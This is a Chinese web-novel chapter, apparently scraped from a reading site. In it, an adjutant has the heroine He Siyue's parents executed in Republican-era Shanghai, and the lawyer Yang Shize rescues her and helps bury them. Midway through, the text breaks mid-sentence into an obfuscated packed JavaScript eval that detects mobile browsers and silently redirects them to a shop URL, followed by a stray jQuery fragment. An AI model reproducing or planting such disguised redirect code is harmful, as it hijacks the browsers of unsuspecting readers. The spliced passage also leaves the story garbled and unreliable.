18. 第 18 章

作品:《岁岁何晏

    “放人啊。”赵副官说得轻松,“你父亲已经在路上了。我们直接去接他,然后送你们回家。”


    这话说得天衣无缝,但何思玥心里却越来越不安。她握紧袖中的手枪——杨石泽给的,只有掌心大小,但关键时刻能救命。


    车子驶出城区,开上一条偏僻的土路。两旁是荒芜的农田,远处有几处废弃的厂房。


    终于,车子在一片空地上停下。空地中央,停着一辆军车,正是早上押送何荣笙的那辆。


    “我父亲呢?”何思玥问。


    赵副官没有回答,径自下车。何思玥跟着下来,看见军车旁站着几个士兵,但没有何荣笙的身影。


    “赵副官,你……”


    话没说完,军车的后门打开了。两个士兵拖出一个人——不,是两个人。


    何思玥的呼吸停止了。


    那是她的父母。何荣笙和她的夫人,被绑在一起,嘴上封着布条。他们看见何思玥,眼睛里迸发出惊恐的光芒,拼命摇头。


    “你……”何思玥的声音在颤抖,“你答应过……”


    “我答应过放人。”赵副官打断她,慢条斯理地点了一支烟,“但我没说,放的是活人。”


    他吐出一口烟圈,烟雾在晨光里缓缓上升:“何小姐,你以为我真会放虎归山?你们手里有我的把柄,我怎么可能让你们活着离开上海?”


    何思玥后退一步,手摸向腰间。


    “别动。”赵副官抬起手,他身后的士兵齐刷刷举起枪,“我知道你带了枪。但你觉得,快得过这么多支枪吗?”


    他走到何思玥面前,低头看着她:“其实我很欣赏你。一个女人,有胆识,有手段。可惜,你站错了队。”


    “你要多少钱都可以!”何思玥的声音带着哭腔,“我可以把何家所有的钱都给你!只要你放了我父母!”


    “钱?”赵副官笑了,“八十万已经够了。而且,何小姐,有些事不是钱能解决的。你父亲知道得太多,你……也知道得太多。”


    他转身,对士兵挥挥手:“送何老爷和何太太上路。”


    “不——!”


    何思玥扑过去,但被两个士兵死死按住。


    她眼睁睁看着,看着士兵举起枪,看着父母眼中的泪水,看着他们最后望向她的眼神——那眼神里有不舍,有心疼,有让她快跑的无声呐喊。


    枪声响起。


    两声。


    在空旷的野地里,显得格外刺耳。


    何思玥的尖叫卡在喉咙里。她看着父母的身体软软倒下,看着血染红了他们身下的土地,看着晨光里那些刺目的红。


    世界在一瞬间失去了声音,失去了颜色。只有那抹红,铺天盖地的红。


    赵副官走到她面前,蹲下身,捏住她的下巴:“现在轮到你了,何小姐。不过别担心,我不会让你死得太痛快。你这么漂亮,这么聪明,死了多可惜?”


    他的手指划过她的脸颊,带着烟味和血腥味:“我会把你关起来,慢慢玩。等你玩够了,再送你去见你父母。”


    何思玥看着他,眼神空洞。然后,她突然笑了。


    那笑容很轻,很冷,像寒冬里最后一片冰花。


    车轮碾过土路的碎石,发出刺耳的声响。三辆黑色汽车如利箭般射入空地,急刹时扬起漫天尘土。


    第一辆车的车门猛地推开,杨石泽率先冲下来。


    他今日没穿律师袍,而是一身利落的深色劲装,手里握着一把驳壳枪。眼镜后的眼睛,此刻锐利如鹰。


    他带来的不是巡捕,是十几个穿短打、眼神精悍的汉子——是上海滩有名的“杨氏镖局”的人,平日里押送贵重货物,个个身手了得。


    “赵副官!”杨石泽声音冷硬,“放人。”


    赵副官脸色铁青,但依然强作镇定:“杨律师,这是军务。你一个律师,带些江湖人士,想造反吗?”


    “造反?”杨石泽笑了,笑容里没有温度,“赵副官,你看看这个。”


    他扔过去一份文件。赵副官接住,只扫了一眼,手就开始发抖——那是他这些年所有贪赃枉法的证据,比何思玥手里的那份详细十倍不止。每一笔款项,每一次交易,时间、地点、经手人,清清楚楚。


    “你……你怎么……”


    “我怎么知道?”杨石泽打断他,“赵副官,你以为只有你会查人?从你动何家开始,沈晏就着手开始调查你的事情了。这些,是他临走前交给我的。他说,万一何小姐出事,就把这些公之于众。”


    他说着,挥了挥手。手下立刻散开,将赵副官和他的士兵团团围住。那些士兵见势不妙,枪口开始摇摆不定。


    何思玥还被按在地上。她抬起头,看着杨石泽——这个平日里斯文儒雅的律师,此刻像一尊煞神,挡在她和死亡之间。


    “杨先生……”她声音嘶哑。


    杨石泽看了她一眼,眼神里闪过一丝不忍,但很快恢复冷硬:“何小姐,你没事吧?”


    “我……”她想说没事,但喉咙像被火烧过,发不出声音。


    赵副官咬牙:“杨石泽,你敢动我?我是军政府的人!刘参谋长不会放过你!”


    “刘参谋长?”杨石泽笑了,“赵副官,你还不知道吧?今天凌晨,刘参谋长已经被南京方面带走了。理由是——纵容下属,贪赃枉法。”


    这话像一记重锤,砸得赵副官站立不稳。他踉跄后退,脸色惨白如纸。


    “不可能……不可能……”


    “没什么不可能。”杨石泽冷冷道,“沈晏去南京,你以为真是去谈生意?他是去送这些材料。现在,该倒台的人,一个都跑不掉。”


    他不再看赵副官,径直走向何思玥。按着她的两个士兵下意识地松了手,后退几步。


    杨石泽蹲下身,轻轻扶起何思玥。她浑身冰冷,像刚从冰窖里捞出来,只有眼眶是烫的,眼泪不停地流,却发不出哭声。


    “何小姐,”杨石泽的声音放柔了些,“我们先离开这里。”


    何思玥摇头。她看向父母倒下的方向——杨石泽的手下已经过去,用白布盖住了他们的身体。血从白布下渗出来,晕开一片刺目的红。


    “我……”她张了张嘴,“我想……送送他们。”


    杨石泽沉默片刻,点头:“好。”


    他扶着她走过去。每一步都像踩在刀尖上。何思玥跪在父母身边,伸手想掀开白布,但手指抖得厉害,怎么也碰不到。


    杨石泽替她掀开一角。何荣笙和夫人闭着眼睛,脸上很平静,像睡着了。只有胸前的弹孔和血迹,提醒着刚才发生了什么。


    何思玥伸出手,轻轻碰了碰父亲的脸。还是温的。她想起小时候发烧,父亲也是这样摸着她的额头,一整夜不睡。


    “爹,”她轻声说,“娘……我来晚了。”


    眼泪砸在父亲脸上,混着血水,流下来。


    杨石泽站在她身后,没有催促,也没有安慰。他知道,有些痛,只能自己熬过去。


    远处,赵副官已经被杨石泽的人控制住,铐上手铐,塞进车里。那些士兵也缴了械,蹲在一边,瑟瑟发抖。


    “杨先生,能请你帮我先找一个地方把我父亲和母亲安葬吗?”


    杨石泽看着跪在血泊中、脊背挺得笔直却微微颤抖的何思玥,心头一紧,他脱下自己的外套,轻轻披在她单薄的肩上。


    “能。”他沉声应道,声音在空旷的街道上显得格外清晰,“我立刻安排。”


    他转身,对身后一名镖局头目低声吩咐了几句。


    那人点点头,迅速带了几个人离开,很快找来了两辆干净的平板车,还不知从哪里寻来了两卷干净的白布和几张草席。


    整个过程,何思玥都一动不动地跪在那里,握着母亲冰凉的手,眼睛死死地盯着父母安详却再无生气的面容。


    她没有再哭出声,只有眼泪无声地、不停地滑落,冲刷着脸上沾染


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978443|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的血污和灰尘。


    杨石泽示意手下人帮忙。他们动作尽量轻缓,用白布仔细裹好何荣笙夫妇的遗体,再覆上草席,稳稳地抬上平板车。


    “何小姐,”杨石泽蹲下身,声音放得很轻,“我们去城西的义庄,那里清净,也安全。我已经让人去请最好的棺木和法事师傅,一切……都会安排妥当。”


    何思玥像是没听见,直到父母被安置妥当,她才缓缓转过头,看向杨石泽。她的眼神空洞得吓人,仿佛所有的光都在刚才那两声枪响中熄灭了。


    “……谢谢。”她的声音干涩嘶哑,几乎不成调。


    杨石泽心中恻然,伸出手想扶她起来,何思玥却自己撑着地面,摇摇晃晃地站了起来。


    她的旗袍下摆浸满了泥水和暗红的血迹,膝盖处也磨破了,但她似乎毫无知觉。


    她走到平板车前,伸出手,轻轻放在覆着白布的轮廓上,停留了片刻,然后转过身,对杨石泽说:“走吧。”


    那声音里有一种近乎残酷的平静。


    杨石泽点点头,示意手下推车。一行人沉默地穿行在黎明前最黑暗的街道上。


    雨已经停了,但空气中弥漫着浓重的水汽和血腥味。远处租界的灯光影影绰绰,仿佛另一个世界。


    城西的义庄位置偏僻,是一处老旧的院落。


    杨石泽显然提前打点过,看守的老头默默开了门,引他们到一处干净的空屋。


    棺木很快也送到了,是上好的楠木。法事师傅也陆续赶来,开始布置简单的灵堂。白烛点燃,香火袅袅,给这冰冷死寂的屋子增添了一丝虚幻的暖意。


    何思玥一直站在父母的遗体旁,看着人们忙碌。


    她没有插手,也没有说话,只是静静地看着。当棺盖即将合上的那一刻,她忽然上前一步,将自己一直紧握在手里的、染了血的怀表——那是父亲从不离身的旧物,轻轻放在了父亲胸前。


    然后,她后退一步,深深鞠了三个躬。


    杨石泽站在她身后,也郑重地鞠了躬。


    棺盖合拢,钉死。沉重的响声在寂静的灵堂里回荡,宣告着永远的离别。


    “何小姐,是先暂时寄存在此,还是……”杨石泽低声询问。按照习俗,本该停灵几日,再择吉日下葬。但如今形势险恶,赵副官虽已落网,其背后是否还有余孽未清,难说。


    何思玥的目光从棺木上移开,望向窗外渐渐泛起鱼肚白的天空。她脸上没有太多表情,只有一种被巨大悲伤冲刷后的、近乎透明的苍白。


    “入土为安吧。”她轻轻说,“爹娘一生不喜喧闹,也不愿再停留在这污糟的世道里。找个清净地方,让他们早些安歇。”


    她顿了顿,补充道:“不要大张旗鼓,简单些就好。”


    杨石泽明白了她的意思。


    时局动荡,何家又刚遭此大难,低调处理是最好的选择。“好。我在西郊有一处私产,附近有片小山坡,风景尚可,也僻静。若何小姐不嫌弃……”


    “有劳杨先生。”何思玥微微颔首,算是同意了。


    天色微明时,两具棺木被悄悄运往西郊。


    没有送葬的队伍,没有哭声,只有一辆马车和几个沉默的护送者。何思玥坚持跟着马车步行,杨石泽陪在她身侧。


    晨雾弥漫在山间小路上,草木挂着露珠。在一片背山面水、松柏环绕的平缓坡地上,早已挖好了两个墓穴。


    简单的仪式后,棺木缓缓入土。何思玥抓起了第一把土,撒在父母的棺盖上。泥土落在楠木上,发出细微的沙沙声,像最后一声叹息。


    当坟墓终于垒起,立上简单的石碑(只刻了父母姓名和生卒年月,未写其他)时,朝阳恰好跃出远山,金色的光芒刺破晨雾,洒在这座新坟上,也照亮了何思玥毫无血色的脸。


    她静静地看着墓碑,看了很久很久。晨风拂过,吹动她凌乱的发丝和染血的衣襟。


    杨石泽在一旁默默守着,没有打扰。